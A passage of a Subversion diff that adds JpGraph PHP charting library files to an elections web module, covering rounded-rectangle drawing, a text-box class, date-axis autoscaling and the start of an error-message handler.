+		$this->img->Line($xt+$r,$yt,$xr-$iw-$r,$yt);
+		$this->img->Arc($xr-$iw-$r,$yt+$r,$r*2,$r*2,270,360);
+
+		// Right line
+		$this->img->Line($xr,$yt+$ih+$r,$xr,$yl-$r);
+
+		// Indent horizontal, Lower right arc
+		$this->img->Line($xr-$iw+$r,$yt+$ih,$xr-$r,$yt+$ih);
+		$this->img->Arc($xr-$r,$yt+$ih+$r,$r*2,$r*2,270,360);
+
+		// Indent vertical, Indent arc
+		$this->img->Line($xr-$iw,$yt+$r,$xr-$iw,$yt+$ih-$r);
+		$this->img->Arc($xr-$iw+$r,$yt+$ih-$r,$r*2,$r*2,90,180);
+
+		if( $aFillColor != '' ) {
+		    $bc = $this->img->current_color_name;
+		    $this->img->PushColor($aFillColor);
+		    $this->img->FillToBorder($xt+$r,$yl-$r,$bc);
+		    $this->img->PopColor();
+		}
+
+		break;
+
+	    case 2: // Lower right
+		// Top line, Top left & Top right arc
+		$this->img->Line($xt+$r,$yt,$xr-$r,$yt);
+		$this->img->Arc($xt+$r,$yt+$r,$r*2,$r*2,180,270);
+		$this->img->Arc($xr-$r,$yt+$r,$r*2,$r*2,270,360);
+
+		// Left line, Bottom left arc
+		$this->img->Line($xt,$yt+$r,$xt,$yl-$r);
+		$this->img->Arc($xt+$r,$yl-$r,$r*2,$r*2,90,180);
+
+		// Bottom line, Bottom right arc
+		$this->img->Line($xt+$r,$yl,$xr-$iw-$r,$yl);
+		$this->img->Arc($xr-$iw-$r,$yl-$r,$r*2,$r*2,0,90);
+
+		// Right line
+		$this->img->Line($xr,$yt+$r,$xr,$yl-$ih-$r);
+	    
+		// Indent horizontal, Lower right arc
+		$this->img->Line($xr-$r,$yl-$ih,$xr-$iw+$r,$yl-$ih);
+		$this->img->Arc($xr-$r,$yl-$ih-$r,$r*2,$r*2,0,90);
+
+		// Indent vertical, Indent arc
+		$this->img->Line($xr-$iw,$yl-$r,$xr-$iw,$yl-$ih+$r);
+		$this->img->Arc($xr-$iw+$r,$yl-$ih+$r,$r*2,$r*2,180,270);
+
+		if( $aFillColor != '' ) {
+		    $bc = $this->img->current_color_name;
+		    $this->img->PushColor($aFillColor);
+		    $this->img->FillToBorder($xt+$r,$yt+$r,$bc);
+		    $this->img->PopColor();
+		}
+
+		break;
+
+	    case 3: // Lower left
+		// Top line, Top left & Top right arc
+		$this->img->Line($xt+$r,$yt,$xr-$r,$yt);
+		$this->img->Arc($xt+$r,$yt+$r,$r*2,$r*2,180,270);
+		$this->img->Arc($xr-$r,$yt+$r,$r*2,$r*2,270,360);
+
+		// Right line, Bottom right arc
+		$this->img->Line($xr,$yt+$r,$xr,$yl-$r);
+		$this->img->Arc($xr-$r,$yl-$r,$r*2,$r*2,0,90);
+
+		// Bottom line, Bottom left arc
+		$this->img->Line($xt+$iw+$r,$yl,$xr-$r,$yl);
+		$this->img->Arc($xt+$iw+$r,$yl-$r,$r*2,$r*2,90,180);
+
+		// Left line
+		$this->img->Line($xt,$yt+$r,$xt,$yl-$ih-$r);
+	    
+		// Indent horizontal, Lower left arc
+		$this->img->Line($xt+$r,$yl-$ih,$xt+$iw-$r,$yl-$ih);
+		$this->img->Arc($xt+$r,$yl-$ih-$r,$r*2,$r*2,90,180);
+
+		// Indent vertical, Indent arc
+		$this->img->Line($xt+$iw,$yl-$ih+$r,$xt+$iw,$yl-$r);
+		$this->img->Arc($xt+$iw-$r,$yl-$ih+$r,$r*2,$r*2,270,360);
+
+		if( $aFillColor != '' ) {
+		    $bc = $this->img->current_color_name;
+		    $this->img->PushColor($aFillColor);
+		    $this->img->FillToBorder($xr-$r,$yt+$r,$bc);
+		    $this->img->PopColor();
+		}
+
+		break;
+	}
+    }
+}
+
+
+//===================================================
+// CLASS RectangleText
+// Description: Draws a text paragraph inside a 
+// rounded, possible filled, rectangle.
+//===================================================
+class CanvasRectangleText {
+    private $ix,$iy,$iw,$ih,$ir=4;
+    private $iTxt,$iColor='black',$iFillColor='',$iFontColor='black';
+    private $iParaAlign='center';
+    private $iAutoBoxMargin=5;
+    private $iShadowWidth=3,$iShadowColor='';
+
+    function CanvasRectangleText($aTxt='',$xl=0,$yt=0,$w=0,$h=0) {
+	$this->iTxt = new Text($aTxt);
+	$this->ix = $xl;
+	$this->iy = $yt;
+	$this->iw = $w;
+	$this->ih = $h;
+    }
+ 
+    function SetShadow($aColor='gray',$aWidth=3) {
+	$this->iShadowColor = $aColor;
+	$this->iShadowWidth = $aWidth;
+    }
+
+    function SetFont($FontFam,$aFontStyle,$aFontSize=12) {
+	$this->iTxt->SetFont($FontFam,$aFontStyle,$aFontSize);
+    }
+
+    function SetTxt($aTxt) {
+	$this->iTxt->Set($aTxt);
+    }
+
+    function ParagraphAlign($aParaAlign) {
+	$this->iParaAlign = $aParaAlign;
+    }
+
+    function SetFillColor($aFillColor) {
+	$this->iFillColor = $aFillColor;
+    }
+
+    function SetAutoMargin($aMargin) {
+	$this->iAutoBoxMargin=$aMargin;
+    }
+
+    function SetColor($aColor) {
+	$this->iColor = $aColor;
+    }
+
+    function SetFontColor($aColor) {
+	$this->iFontColor = $aColor;
+    }
+
+    function SetPos($xl=0,$yt=0,$w=0,$h=0) {
+	$this->ix = $xl;
+	$this->iy = $yt;
+	$this->iw = $w;
+	$this->ih = $h;
+    }
+
+    function Pos($xl=0,$yt=0,$w=0,$h=0) {
+	$this->ix = $xl;
+	$this->iy = $yt;
+	$this->iw = $w;
+	$this->ih = $h;
+    }
+
+    function Set($aTxt,$xl,$yt,$w=0,$h=0) {
+	$this->iTxt->Set($aTxt);
+	$this->ix = $xl;
+	$this->iy = $yt;
+	$this->iw = $w;
+	$this->ih = $h;
+    }
+
+    function SetCornerRadius($aRad=5) {
+	$this->ir = $aRad;
+    }
+
+    function Stroke($aImg,$scale) {
+	
+	// If coordinates are specifed as negative this means we should
+	// treat them as abolsute (pixels) coordinates
+	if( $this->ix > 0 ) {
+	    $this->ix = $scale->TranslateX($this->ix) ;
+	}
+	else {
+	    $this->ix = -$this->ix;
+	}
+
+	if( $this->iy > 0 ) {
+	    $this->iy = $scale->TranslateY($this->iy) ;
+	}
+	else {
+	    $this->iy = -$this->iy;
+	}
+	    
+	list($this->iw,$this->ih) = $scale->Translate($this->iw,$this->ih) ;
+
+	if( $this->iw == 0 ) 
+	    $this->iw = round($this->iTxt->GetWidth($aImg) + $this->iAutoBoxMargin);
+	if( $this->ih == 0 ) {
+	    $this->ih = round($this->iTxt->GetTextHeight($aImg) + $this->iAutoBoxMargin);
+	}
+
+	if( $this->iShadowColor != '' ) {
+	    $aImg->PushColor($this->iShadowColor);
+	    $aImg->FilledRoundedRectangle($this->ix+$this->iShadowWidth,
+					  $this->iy+$this->iShadowWidth,
+					  $this->ix+$this->iw-1+$this->iShadowWidth,
+					  $this->iy+$this->ih-1+$this->iShadowWidth,
+					  $this->ir);
+	    $aImg->PopColor();	    
+	}
+
+	if( $this->iFillColor != '' ) {
+	    $aImg->PushColor($this->iFillColor);
+	    $aImg->FilledRoundedRectangle($this->ix,$this->iy,
+					  $this->ix+$this->iw-1,
+					  $this->iy+$this->ih-1,
+					  $this->ir);
+	    $aImg->PopColor();
+	}
+
+	if( $this->iColor != '' ) {
+	    $aImg->PushColor($this->iColor);
+	    $aImg->RoundedRectangle($this->ix,$this->iy,
+				    $this->ix+$this->iw-1,
+				    $this->iy+$this->ih-1,
+				    $this->ir);
+	    $aImg->PopColor();
+	}
+	
+	$this->iTxt->Align('center','center');
+	$this->iTxt->ParagraphAlign($this->iParaAlign);
+	$this->iTxt->SetColor($this->iFontColor);
+	$this->iTxt->Stroke($aImg, $this->ix+$this->iw/2, $this->iy+$this->ih/2);
+
+	return array($this->iw, $this->ih);
+
+    }
+
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_date.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_date.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_date.php	(revision 44)
@@ -0,0 +1,499 @@
+<?php
+/*=======================================================================
+// File:	JPGRAPH_DATE.PHP
+// Description:	Classes to handle Date scaling
+// Created: 	2005-05-02
+// Ver:		$Id: jpgraph_date.php 1091 2009-01-18 22:57:40Z ljp $
+//
+// Copyright (c) Aditus Consulting. All rights reserved.
+//========================================================================
+*/
+
+define('HOURADJ_1',0+30);
+define('HOURADJ_2',1+30);
+define('HOURADJ_3',2+30);
+define('HOURADJ_4',3+30);
+define('HOURADJ_6',4+30);
+define('HOURADJ_12',5+30);
+
+define('MINADJ_1',0+20);
+define('MINADJ_5',1+20);
+define('MINADJ_10',2+20);
+define('MINADJ_15',3+20);
+define('MINADJ_30',4+20);
+
+define('SECADJ_1',0);
+define('SECADJ_5',1);
+define('SECADJ_10',2);
+define('SECADJ_15',3);
+define('SECADJ_30',4);
+
+
+define('YEARADJ_1',0+30);
+define('YEARADJ_2',1+30);
+define('YEARADJ_5',2+30);
+
+define('MONTHADJ_1',0+20);
+define('MONTHADJ_6',1+20);
+
+define('DAYADJ_1',0);
+define('DAYADJ_WEEK',1);
+define('DAYADJ_7',1);
+
+define('SECPERYEAR',31536000);
+define('SECPERDAY',86400);
+define('SECPERHOUR',3600);
+define('SECPERMIN',60);
+
+
+class DateScale extends LinearScale {
+    private $date_format = '';
+    private $iStartAlign = false, $iEndAlign = false;
+    private $iStartTimeAlign = false, $iEndTimeAlign = false;
+
+//---------------
+// CONSTRUCTOR
+    function DateScale($aMin=0,$aMax=0,$aType='x') {
+	assert($aType=="x");
+	assert($aMin<=$aMax);
+		
+	$this->type=$aType;
+	$this->scale=array($aMin,$aMax);		
+	$this->world_size=$aMax-$aMin;	
+	$this->ticks = new LinearTicks();
+	$this->intscale=true;
+    }
+
+
+//------------------------------------------------------------------------------------------
+// Utility Function AdjDate()
+// Description: Will round a given time stamp to an even year, month or day 
+// argument. 
+//------------------------------------------------------------------------------------------
+
+    function AdjDate($aTime,$aRound=0,$aYearType=false,$aMonthType=false,$aDayType=false) {
+	$y = (int)date('Y',$aTime); $m = (int)date('m',$aTime); $d = (int)date('d',$aTime);
+	$h=0;$i=0;$s=0;
+	if( $aYearType !== false ) {
+	    $yearAdj = array(0=>1, 1=>2, 2=>5);
+	    if( $aRound == 0 ) {
+		$y = floor($y/$yearAdj[$aYearType])*$yearAdj[$aYearType];
+	    }
+	    else {
+		++$y;
+		$y = ceil($y/$yearAdj[$aYearType])*$yearAdj[$aYearType];
+	    }
+	    $m=1;$d=1;
+	}
+	elseif( $aMonthType !== false ) {
+	    $monthAdj = array(0=>1, 1=>6);
+	    if( $aRound == 0 ) {
+		$m = floor($m/$monthAdj[$aMonthType])*$monthAdj[$aMonthType];
+		$d=1;
+	    }
+	    else {
+		++$m;
+		$m = ceil($m/$monthAdj[$aMonthType])*$monthAdj[$aMonthType];
+		$d=1;
+	    }
+	}
+	elseif( $aDayType !== false ) {
+	    if( $aDayType == 0 ) {
+		if( $aRound == 1 ) {
+		    //++$d;
+		    $h=23;$i=59;$s=59;
+		}
+	    }
+	    else {
+		// Adjust to an even week boundary. 
+		$w = (int)date('w',$aTime); // Day of week 0=Sun, 6=Sat
+		if( true ) { // Adjust to start on Mon
+		    if( $w==0 ) $w=6;
+		    else --$w;
+		}
+		if( $aRound == 0 ) {
+		    $d -= $w;
+		}
+		else {
+		    $d += (7-$w);
+		    $h=23;$i=59;$s=59;
+		}
+	    }
+	}
+	return mktime($h,$i,$s,$m,$d,$y);
+	
+    }
+
+//------------------------------------------------------------------------------------------
+// Wrapper for AdjDate that will round a timestamp to an even date rounding
+// it downwards.
+//------------------------------------------------------------------------------------------
+    function AdjStartDate($aTime,$aYearType=false,$aMonthType=false,$aDayType=false) {
+	return $this->AdjDate($aTime,0,$aYearType,$aMonthType,$aDayType);
+    }
+
+//------------------------------------------------------------------------------------------
+// Wrapper for AdjDate that will round a timestamp to an even date rounding
+// it upwards
+//------------------------------------------------------------------------------------------
+    function AdjEndDate($aTime,$aYearType=false,$aMonthType=false,$aDayType=false) {
+	return $this->AdjDate($aTime,1,$aYearType,$aMonthType,$aDayType);
+    }
+
+//------------------------------------------------------------------------------------------
+// Utility Function AdjTime()
+// Description: Will round a given time stamp to an even time according to 
+// argument. 
+//------------------------------------------------------------------------------------------
+
+    function AdjTime($aTime,$aRound=0,$aHourType=false,$aMinType=false,$aSecType=false) {
+	$y = (int)date('Y',$aTime); $m = (int)date('m',$aTime); $d = (int)date('d',$aTime);
+	$h = (int)date('H',$aTime); $i = (int)date('i',$aTime); $s = (int)date('s',$aTime);
+	if( $aHourType !== false ) {
+	    $aHourType %= 6;
+	    $hourAdj = array(0=>1, 1=>2, 2=>3, 3=>4, 4=>6, 5=>12);
+	    if( $aRound == 0 )
+		$h = floor($h/$hourAdj[$aHourType])*$hourAdj[$aHourType];
+	    else {
+		if( ($h % $hourAdj[$aHourType]==0) && ($i > 0 || $s > 0) ) {
+		    $h++;
+		}
+		$h = ceil($h/$hourAdj[$aHourType])*$hourAdj[$aHourType];
+		if( $h >= 24 ) {
+		    $aTime += 86400;
+		    $y = (int)date('Y',$aTime); $m = (int)date('m',$aTime); $d = (int)date('d',$aTime);
+		    $h -= 24; 
+		}
+	    }
+	    $i=0;$s=0;
+	}
+	elseif( $aMinType !== false ) {
+	    $aMinType %= 5;
+	    $minAdj = array(0=>1, 1=>5, 2=>10, 3=>15, 4=>30);
+	    if( $aRound == 0 ) {
+		$i = floor($i/$minAdj[$aMinType])*$minAdj[$aMinType];
+	    }
+	    else {
+		if( ($i % $minAdj[$aMinType]==0) && $s > 0 ) {
+		    $i++;
+		}
+		$i = ceil($i/$minAdj[$aMinType])*$minAdj[$aMinType];
+		if( $i >= 60) {
+		    $aTime += 3600;
+		    $y = (int)date('Y',$aTime); $m = (int)date('m',$aTime); $d = (int)date('d',$aTime);
+		    $h = (int)date('H',$aTime); $i = 0;
+		}
+	    }
+	    $s=0;
+	}
+	elseif( $aSecType !== false ) {
+	    $aSecType %= 5;
+	    $secAdj = array(0=>1, 1=>5, 2=>10, 3=>15, 4=>30);
+	    if( $aRound == 0 ) {
+		$s = floor($s/$secAdj[$aSecType])*$secAdj[$aSecType];
+	    }
+	    else {
+		$s = ceil($s/$secAdj[$aSecType]*1.0)*$secAdj[$aSecType];
+		if( $s >= 60) {
+		    $s=0;
+		    $aTime += 60;
+		    $y = (int)date('Y',$aTime); $m = (int)date('m',$aTime); $d = (int)date('d',$aTime);
+		    $h = (int)date('H',$aTime); $i = (int)date('i',$aTime); 
+		}
+	    }
+	}
+	return mktime($h,$i,$s,$m,$d,$y);
+    }
+
+//------------------------------------------------------------------------------------------
+// Wrapper for AdjTime that will round a timestamp to an even time rounding
+// it downwards.
+// Example: AdjStartTime(mktime(18,27,13,2,22,2005),false,2) => 18:20
+//------------------------------------------------------------------------------------------
+    function AdjStartTime($aTime,$aHourType=false,$aMinType=false,$aSecType=false) {
+	return $this->AdjTime($aTime,0,$aHourType,$aMinType,$aSecType);
+    }
+
+//------------------------------------------------------------------------------------------
+// Wrapper for AdjTime that will round a timestamp to an even time rounding
+// it upwards
+// Example: AdjEndTime(mktime(18,27,13,2,22,2005),false,2) => 18:30
+//------------------------------------------------------------------------------------------
+    function AdjEndTime($aTime,$aHourType=false,$aMinType=false,$aSecType=false) {
+	return $this->AdjTime($aTime,1,$aHourType,$aMinType,$aSecType);
+    }
+
+//------------------------------------------------------------------------------------------
+// DateAutoScale
+// Autoscale a date axis given start and end time
+// Returns an array ($start,$end,$major,$minor,$format)
+//------------------------------------------------------------------------------------------
+    function DoDateAutoScale($aStartTime,$aEndTime,$aDensity=0,$aAdjust=true) {
+	// Format of array
+	// array ( Decision point,  array( array( Major-scale-step-array ),  
+	//			    array( Minor-scale-step-array ), 
+	//			    array( 0=date-adjust, 1=time-adjust, adjustment-alignment) )
+	//
+	$scalePoints = 
+	    array(
+		/* Intervall larger than 10 years */
+		SECPERYEAR*10,array(array(SECPERYEAR*5,SECPERYEAR*2),
+				    array(SECPERYEAR), 
+				    array(0,YEARADJ_1, 0,YEARADJ_1) ),
+
+		/* Intervall larger than 2 years */
+		SECPERYEAR*2,array(array(SECPERYEAR),array(SECPERYEAR), 
+				   array(0,YEARADJ_1) ),
+
+		/* Intervall larger than 90 days (approx 3 month) */
+		SECPERDAY*90,array(array(SECPERDAY*30,SECPERDAY*14,SECPERDAY*7,SECPERDAY),
+				   array(SECPERDAY*5,SECPERDAY*7,SECPERDAY,SECPERDAY), 
+				   array(0,MONTHADJ_1, 0,DAYADJ_WEEK, 0,DAYADJ_1, 0,DAYADJ_1)),
+
+		/* Intervall larger than 30 days (approx 1 month) */
+		SECPERDAY*30,array(array(SECPERDAY*14,SECPERDAY*7,SECPERDAY*2, SECPERDAY),
+				   array(SECPERDAY,SECPERDAY,SECPERDAY,SECPERDAY), 
+				   array(0,DAYADJ_WEEK, 0,DAYADJ_1, 0,DAYADJ_1, 0,DAYADJ_1)),
+
+		/* Intervall larger than 7 days */
+		SECPERDAY*7,array(array(SECPERDAY,SECPERHOUR*12,SECPERHOUR*6,SECPERHOUR*2),
+				  array(SECPERHOUR*6,SECPERHOUR*3,SECPERHOUR,SECPERHOUR),
+				  array(0,DAYADJ_1, 1,HOURADJ_12, 1,HOURADJ_6, 1,HOURADJ_1)),
+
+		/* Intervall larger than 1 day */
+		SECPERDAY,array(array(SECPERDAY,SECPERHOUR*12,SECPERHOUR*6,SECPERHOUR*2,SECPERHOUR),
+				array(SECPERHOUR*6,SECPERHOUR*2,SECPERHOUR,SECPERHOUR,SECPERHOUR),
+				array(1,HOURADJ_12, 1,HOURADJ_6, 1,HOURADJ_1, 1,HOURADJ_1)),
+
+		/* Intervall larger than 12 hours */
+		SECPERHOUR*12,array(array(SECPERHOUR*2,SECPERHOUR,SECPERMIN*30,900,600),
+				    array(1800,1800,900,300,300),
+				    array(1,HOURADJ_1, 1,MINADJ_30, 1,MINADJ_15, 1,MINADJ_10, 1,MINADJ_5) ),
+
+		/* Intervall larger than 2 hours */
+		SECPERHOUR*2,array(array(SECPERHOUR,SECPERMIN*30,900,600,300),
+				   array(1800,900,300,120,60),
+				   array(1,HOURADJ_1, 1,MINADJ_30, 1,MINADJ_15, 1,MINADJ_10, 1,MINADJ_5) ),
+
+		/* Intervall larger than 1 hours */
+		SECPERHOUR,array(array(SECPERMIN*30,900,600,300),array(900,300,120,60),
+				 array(1,MINADJ_30, 1,MINADJ_15, 1,MINADJ_10, 1,MINADJ_5) ),
+
+		/* Intervall larger than 30 min */
+		SECPERMIN*30,array(array(SECPERMIN*15,SECPERMIN*10,SECPERMIN*5,SECPERMIN),
+				   array(300,300,60,10),
+				   array(1,MINADJ_15, 1,MINADJ_10, 1,MINADJ_5, 1,MINADJ_1)),
+
+		/* Intervall larger than 1 min */
+		SECPERMIN,array(array(SECPERMIN,15,10,5),
+				array(15,5,2,1),
+				array(1,MINADJ_1, 1,SECADJ_15, 1,SECADJ_10, 1,SECADJ_5)),
+
+		/* Intervall larger than 10 sec */
+		10,array(array(5,2),
+			 array(1,1),
+			 array(1,SECADJ_5, 1,SECADJ_1)),
+
+		/* Intervall larger than 1 sec */
+		1,array(array(1),
+			array(1),
+			array(1,SECADJ_1)),
+		);
+
+	$ns = count($scalePoints);
+	// Establish major and minor scale units for the date scale
+	$diff = $aEndTime - $aStartTime;
+	if( $diff < 1 ) return false;
+	$done=false;
+	$i=0;
+	while( ! $done ) {
+	    if( $diff > $scalePoints[2*$i] ) {
+		// Get major and minor scale for this intervall
+		$scaleSteps = $scalePoints[2*$i+1];
+		$major = $scaleSteps[0][min($aDensity,count($scaleSteps[0])-1)];
+		// Try to find out which minor step looks best
+		$minor = $scaleSteps[1][min($aDensity,count($scaleSteps[1])-1)];
+		if( $aAdjust ) {
+		    // Find out how we should align the start and end timestamps
+		    $idx = 2*min($aDensity,floor(count($scaleSteps[2])/2)-1);
+		    if( $scaleSteps[2][$idx] === 0 ) { 
+			// Use date adjustment
+			$adj = $scaleSteps[2][$idx+1]; 
+			if( $adj >= 30 ) {
+			    $start = $this->AdjStartDate($aStartTime,$adj-30);
+			    $end   = $this->AdjEndDate($aEndTime,$adj-30);
+			}
+			elseif( $adj >= 20 ) {
+			    $start = $this->AdjStartDate($aStartTime,false,$adj-20);
+			    $end   = $this->AdjEndDate($aEndTime,false,$adj-20);
+			}
+			else {
+			    $start = $this->AdjStartDate($aStartTime,false,false,$adj);
+			    $end   = $this->AdjEndDate($aEndTime,false,false,$adj);
+			    // We add 1 second for date adjustment to make sure we end on 00:00 the following day
+			    // This makes the final major tick be srawn when we step day-by-day instead of ending
+			    // on xx:59:59 which would not draw the final major tick
+			    $end++;	
+			}
+		    }
+		    else {
+			// Use time adjustment
+			$adj = $scaleSteps[2][$idx+1]; 
+			if( $adj >= 30 ) {
+			    $start = $this->AdjStartTime($aStartTime,$adj-30);
+			    $end   = $this->AdjEndTime($aEndTime,$adj-30);
+			}
+			elseif( $adj >= 20 ) {
+			    $start = $this->AdjStartTime($aStartTime,false,$adj-20);
+			    $end   = $this->AdjEndTime($aEndTime,false,$adj-20);
+			}
+			else {
+			    $start = $this->AdjStartTime($aStartTime,false,false,$adj);
+			    $end   = $this->AdjEndTime($aEndTime,false,false,$adj);		    
+			}
+		    }
+		}
+		// If the overall date span is larger than 1 day ten we show date
+		$format = '';
+		if( ($end-$start) > SECPERDAY ) {
+		    $format = 'Y-m-d ';
+		}
+		// If the major step is less than 1 day we need to whow hours + min
+		if( $major < SECPERDAY ) {
+		    $format .= 'H:i';
+		}
+		// If the major step is less than 1 min we need to show sec
+		if( $major < 60 ) {
+		    $format .= ':s';
+		}
+		$done=true;
+	    }
+	    ++$i;
+	}
+	return array($start,$end,$major,$minor,$format);
+    }
+
+    // Overrides the automatic determined date format. Must be a valid date() format string
+    function SetDateFormat($aFormat) {
+	$this->date_format = $aFormat;
+	$this->ticks->SetLabelDateFormat($this->date_format);
+    }
+
+    function AdjustForDST($aFlg=true) {
+	$this->ticks->AdjustForDST($aFlg);
+    }
+
+
+    function SetDateAlign($aStartAlign,$aEndAlign=false) {
+	if( $aEndAlign === false ) {
+	    $aEndAlign=$aStartAlign;
+	}
+	$this->iStartAlign = $aStartAlign;
+	$this->iEndAlign = $aEndAlign;
+    }
+
+    function SetTimeAlign($aStartAlign,$aEndAlign=false) {
+	if( $aEndAlign === false ) {
+	    $aEndAlign=$aStartAlign;
+	}
+	$this->iStartTimeAlign = $aStartAlign;
+	$this->iEndTimeAlign = $aEndAlign;
+    }
+
+
+    function AutoScale($img,$aStartTime,$aEndTime,$aNumSteps,$_adummy=false) {
+	// We need to have one dummy argument to make the signature of AutoScale()
+	// identical to LinearScale::AutoScale
+	if( $aStartTime == $aEndTime ) {
+	    // Special case when we only have one data point.
+	    // Create a small artifical intervall to do the autoscaling
+	    $aStartTime -= 10;
+	    $aEndTime += 10;
+	}
+	$done=false;
+	$i=0;
+	while( ! $done && $i < 5) {
+	    list($adjstart,$adjend,$maj,$min,$format) = $this->DoDateAutoScale($aStartTime,$aEndTime,$i);
+	    $n = floor(($adjend-$adjstart)/$maj);
+	    if( $n * 1.7 > $aNumSteps ) {
+		$done=true;
+	    }
+	    $i++;
+	}
+	
+	/*
+	if( 0 ) { // DEBUG
+	    echo "    Start =".date("Y-m-d H:i:s",$aStartTime)."<br>";
+	    echo "    End   =".date("Y-m-d H:i:s",$aEndTime)."<br>";
+	    echo "Adj Start =".date("Y-m-d H:i:s",$adjstart)."<br>";
+	    echo "Adj End   =".date("Y-m-d H:i:s",$adjend)."<p>";
+	    echo "Major = $maj s, ".floor($maj/60)."min, ".floor($maj/3600)."h, ".floor($maj/86400)."day<br>";
+	    echo "Min = $min s, ".floor($min/60)."min, ".floor($min/3600)."h, ".floor($min/86400)."day<br>";
+	    echo "Format=$format<p>";
+	}
+	*/
+	
+	if( $this->iStartTimeAlign !== false && $this->iStartAlign !== false ) {
+	    JpGraphError::RaiseL(3001);
+//('It is only possible to use either SetDateAlign() or SetTimeAlign() but not both');
+	}
+
+	if( $this->iStartTimeAlign !== false ) {
+	    if( $this->iStartTimeAlign >= 30 ) {
+		$adjstart = $this->AdjStartTime($aStartTime,$this->iStartTimeAlign-30);
+	    }
+	    elseif(  $this->iStartTimeAlign >= 20 ) {
+		$adjstart = $this->AdjStartTime($aStartTime,false,$this->iStartTimeAlign-20);
+	    }
+	    else {
+		$adjstart = $this->AdjStartTime($aStartTime,false,false,$this->iStartTimeAlign);
+	    }
+	}
+	if( $this->iEndTimeAlign !== false ) {
+	    if( $this->iEndTimeAlign >= 30 ) {
+		$adjend = $this->AdjEndTime($aEndTime,$this->iEndTimeAlign-30);
+	    }
+	    elseif(  $this->iEndTimeAlign >= 20 ) {
+		$adjend = $this->AdjEndTime($aEndTime,false,$this->iEndTimeAlign-20);
+	    }
+	    else {
+		$adjend = $this->AdjEndTime($aEndTime,false,false,$this->iEndTimeAlign);
+	    }
+	}
+
+
+	
+	if( $this->iStartAlign !== false ) {
+	    if( $this->iStartAlign >= 30 ) {
+		$adjstart = $this->AdjStartDate($aStartTime,$this->iStartAlign-30);
+	    }
+	    elseif(  $this->iStartAlign >= 20 ) {
+		$adjstart = $this->AdjStartDate($aStartTime,false,$this->iStartAlign-20);
+	    }
+	    else {
+		$adjstart = $this->AdjStartDate($aStartTime,false,false,$this->iStartAlign);
+	    }
+	}
+	if( $this->iEndAlign !== false ) {
+	    if( $this->iEndAlign >= 30 ) {
+		$adjend = $this->AdjEndDate($aEndTime,$this->iEndAlign-30);
+	    }
+	    elseif(  $this->iEndAlign >= 20 ) {
+		$adjend = $this->AdjEndDate($aEndTime,false,$this->iEndAlign-20);
+	    }
+	    else {
+		$adjend = $this->AdjEndDate($aEndTime,false,false,$this->iEndAlign);
+	    }
+	}
+	$this->Update($img,$adjstart,$adjend);
+	if( ! $this->ticks->IsSpecified() )
+	    $this->ticks->Set($maj,$min);
+	if( $this->date_format == '' ) 
+	    $this->ticks->SetLabelDateFormat($format);
+	else 
+	    $this->ticks->SetLabelDateFormat($this->date_format);
+    }
+}
+
+
+?>
Index: /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_errhandler.inc.php
===================================================================
--- /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_errhandler.inc.php	(revision 44)
+++ /trunk/elezioni/trunk/client/modules/Elezioni/grafici/jpgraph_errhandler.inc.php	(revision 44)
@@ -0,0 +1,278 @@
+<?php
+//=======================================================================
+// File:	JPGRAPH_ERRHANDLER.PHP
+// Description:	Error handler class together with handling of localized
+//		error messages. All localized error messages are stored
+//		in a separate file under the "lang/" subdirectory.
+// Created: 	2006-09-24
+// Ver:		$Id: jpgraph_errhandler.inc.php 973 2008-03-09 15:29:44Z ljp $
+//
+// Copyright 2006 (c) Aditus Consulting. All rights reserved.
+//========================================================================
+
+
+GLOBAL $__jpg_err_locale ;
+$__jpg_err_locale = DEFAULT_ERR_LOCALE;
+
+class ErrMsgText {
+    private $lt=NULL;
+    function ErrMsgText() {
+	GLOBAL $__jpg_err_locale;
+	$file = 'lang/'.$__jpg_err_locale.'.inc.php';
+
+	// If the chosen locale doesn't exist try english
+	if( !file_exists(dirname(__FILE__).'/'.$file) ) {
+	    $__jpg_err_locale = 'en';
+	}
+
+	$file = 'lang/'.$__jpg_err_locale.'.inc.php';
+	if( !file_exists(dirname(__FILE__).'/'.$file) ) {
+	    die('Chosen locale file ("'.$file.'") for error messages does not exist or is not readable for the PHP process. Please make sure that the file exists and that the file permissions are such that the PHP process is allowed to read this file.');
+	}
+	require($file);
+	$this->lt = $_jpg_messages;
+    }
+
+    function Get($errnbr,$a1=null,$a2=null,$a3=null,$a4=null,$a5=null) {
+	GLOBAL $__jpg_err_locale;
+	if( !isset($this->lt[$errnbr]) ) {
+	    return 'Internal error: The specified error message ('.$errnbr.') does not exist in the chosen locale ('.$__jpg_err_locale.')';
+	}
+	$ea = $this->lt[$errnbr];
+	$j=0;
+	if( $a1 !== null ) {
+	    $argv[$j++] = $a1;
+	    if( $a2 !== null ) {
+		$argv[$j++] = $a2;
+		if( $a3 !== null ) {
+		    $argv[$j++] = $a3;
+		    if( $a4 !== null ) {
+			$argv[$j++] = $a4;
+			if( $a5 !== null ) {
+			    $argv[$j++] = $a5;
+			}
+		    }
+		}
+	    }
+	}
+	$numargs = $j; 
+	if( $ea[1] != $numargs ) {
+	    // Error message argument count do not match.
+	    // Just return the error message without arguments.
+	    return $ea[0];
+	}
+	switch( $numargs ) {
+	    case 1:
+		$msg = sprintf($ea[0],$argv[0]);
+		break;
+	    case 2:
+		$msg = sprintf($ea[0],$argv[0],$argv[1]);
+		break;
+	    case 3:
+		$msg = sprintf($ea[0],$argv[0],$argv[1],$argv[2]);
+		break;
+	    case 4:
+		$msg = sprintf($ea[0],$argv[0],$argv[1],$argv[2],$argv[3]);
+		break;
+	    case 5:
+		$msg = sprintf($ea[0],$argv[0],$argv[1],$argv[2],$argv[3],$argv[4]);
+		break;
+	    case 0:
+	    default:
+		$msg = sprintf($ea[0]);
+		break;
+	}
+	return $msg;
+    }
+}
+
+//
+// A wrapper class that is used to access the specified error object
+// (to hide the global error parameter and avoid having a GLOBAL directive
+// in all methods.
+//
+class JpGraphError {
+    private static $__jpg_err;
+    public static function Install($aErrObject) {
+	self::$__jpg_err = new $aErrObject;
+    }
+    public static function Raise($aMsg,$aHalt=true){
+	self::$__jpg_err->Raise($aMsg,$aHalt);
+    }
+    public static function SetErrLocale($aLoc) {
+	GLOBAL $__jpg_err_locale ;
+	$__jpg_err_locale = $aLoc;
+    }
